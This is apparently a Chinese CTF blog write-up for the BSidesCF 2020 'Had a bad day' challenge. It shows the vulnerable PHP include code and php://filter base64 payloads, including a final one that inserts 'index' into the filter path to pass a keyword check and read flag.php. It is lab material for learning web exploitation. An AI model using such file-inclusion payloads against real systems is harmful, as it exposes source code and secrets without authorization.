[CTF][BSidesCF 2020]Had a bad day 1--PHP伪协议

首先先打开主页,审查代码,并没有什么特别的地方
使用dirsearch,发现flag.php
在这里插入图片描述
打开什么都不显示
网页下又两个按钮,从源代码来看,会将两个属性–"woofers"和"meowers"通过get方法传递,通过修改属性发现网页不显示
在这里插入图片描述
当输入标点符号发现报错
在这里插入图片描述

使用了include函数,想到使用php伪协议
使用php://filter读取一些源代码

category=php://filter/read=convert.base64-encode/resource=index.php

在这里插入图片描述

报错,发现.php重复了两次,推测源代码对输入进行了拼接

category=php://filter/read=convert.base64-encode/resource=index

可以正常读出,网页中的php代码为

<?php
	$file = $_GET['category'];
	
	if(isset($file))
	{
		if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
			include ($file . '.php');
		}
		else{
			echo "Sorry, we currently only support woofers and meowers.";
		}
	}
?>
category=php://filter/read=convert.base64-encode/resource=flag

尝试使用伪协议读取flag.php
在这里插入图片描述
发现不显示
审查php代码
可以发现当get传入的参数不包含"woofers"、“meowers”、“index"则会跳转到else,所以无法直接读取,必须在变量中插入"woofers”、“meowers”、“index”
最终payload

category=php://filter/read=convert.base64-encode/index/resource=flag

·

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值